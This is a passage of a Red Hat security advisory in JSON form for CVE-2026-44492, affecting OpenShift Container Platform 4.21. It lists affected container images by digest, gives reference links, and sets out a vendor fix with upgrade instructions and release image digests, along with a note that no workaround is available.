"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "RHBZ#2487938",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
}
],
"release_date": "2026-06-11T15:29:13.890000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
